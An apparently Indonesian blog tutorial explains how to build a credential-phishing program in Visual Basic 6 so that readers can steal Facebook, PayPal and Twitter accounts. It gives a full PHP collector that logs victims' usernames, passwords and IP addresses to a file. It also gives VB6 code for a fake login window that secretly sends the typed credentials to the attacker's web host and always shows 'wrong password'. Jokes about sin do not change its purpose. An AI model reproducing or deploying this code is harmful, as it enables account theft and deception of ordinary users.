Cara Membuat Aplikasi Phising Visual Basic V6

Cara membuat aplikasi phising, cara membuat hack phising dengan visual basic, membuat aplikasi phising by visual basic.
Walaupun cara ini sama dengan phising lainnya, dan dianggap jadul?  Cara ini bisa menghasilkan banyak facebook,twitter dll. Hmm
Pikiran lagi dosa, semoga cara ini boleh dicoba.. dan tidak sering disalah gunakan xD
Ok

Bahan bahan yang perlu sobat miliki, dibawah ini harap dilengkapi terlebih dahulu:
1. Sebuah Komputer, jangan pinjaman -,-
2. Hosting web untuk menampung file php dan file txt dari phising kita sendiri.
3. Program Visual Basic tentunya untuk memancing.
4. Setelah itu buka dan login webhosting sobat sendiri, lalu buat 1 file dengan nama terserah.php  setelah itu isikan kode  ini:

<?php $datum=date('d-m-Y / h:i:s a'); $email = $_GET[e]; $password = $_GET[p]; $ip = getenv ('REMOTE_ADDR'); $fl = fopen('Ihiy.txt', 'a'); fwrite($fl, "IP Address : $ip\nDate : $datum\nUsername : $email\nPassword : $password\n\n"); fclose($fl); $ref = $_SERVER['HTTP_REFERER']; header("location: $ref"); ?>
Jangan lupa save dengan ekstensi .php

5. Selanjutnya buka visual basic, lalu buat project pertama dengan ketentuan.

- Buat 1 form dengan nama frmUtama

- Buat 1 module dengan modConnect

Ketentuan:
Dalam module (modConnect) isi kode berikut ini:

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef _ lpSFlags As Long, ByVal dwReserved As Long) As Long Const INTERNET_CONNECTION_MODEM = 1 Const INTERNET_CONNECTION_LAN = 2 Const INTERNET_CONNECTION_PROXY = 4 Const INTERNET_CONNECTION_MODEM_BUSY = 8

Seperti pada gambar dibawah berikut ini.

Fungsi yang berguna untuk mengecek koneksi internet yang ada di komputer kita menggunakan fungsi api InternetGetConnectedState

Function CekInternet(Optional connectMode As Integer) As Boolean
Dim flags As Long
CekInternet = InternetGetConnectedState(flags, 0)
connectMode = flags
End Function
lalu di frmUtama tambahkan 2 buah text box dan 1 buah command button 1 buah label

Textbox pertama di namakan : txtUname
Textbox Kedua di namakan : txtPass
Command button dinamakan : cmdLogin
Label dinamakan : lblInfo

Ketentuan:
Copykan ini kedalam form

Private Sub Form_Load() lblInfo.Caption = "Memeriksa Koneksi Internet" If CekInternet = False Then lblInfo.Caption = "Komputer Anda Tidak Terkoneksi Ke Internet !" Else lblInfo.Caption = "Komputer Anda Terkoneksi Dengan Internet" Me.Caption = "rianul cakep ;)" End If End Sub  <br>

Seperti pada gambar dibawah berikut ini:

Setelah itu masukkan kode berikut ini kedalam cmdLogin

Dim user, pass As String Dim IE As Object user = LCase(txtUname.Text) pass = txtPass.Text If txtUname.Text = "" Then MsgBox "Kotak Teks masih kosong,silahkan isikan dengan benar !", vbExclamation, "Error" Else lblInfo.Caption = "Sedang Login ..." Set IE = CreateObject("InternetExplorer.Application") IE.Visible = 0 IE.Navigate "http://www.domainkamu.com/r14nul.php?e=" & _ user & "&p=" & pass Do While IE.Busy Sleep 200 'sleepnya 200 ajah :p Loop IE.Quit Set IE = Nothing lblInfo.Caption = "Username/Password Salah !" MsgBox "Username/Password Salah !", vbExclamation, "Error" End If

Wkwk, sampai kapanpun kotak pesan akan memberitahukan bahwa kita selalu salah memasukkan password/username.. bila command button diklik :D

Bila sudah complete project, dan masukkan ke hosting gratisan anda.

Program ini bisa buat isengisengan untuk mencuri akun facebook,paypal,twitter. dll

Semoga jangan keseringan, ingat dosa juga :) bila sipengguna asli meminta kembali facebook.. haraplah dikembalikan :) mungkin ada yang penting dari pertemanan keluarga dia :)  trimss..

Semoga bermanfaat dan tidak keterusan buat curi facebook orang. NICE!
Greetz : HN Community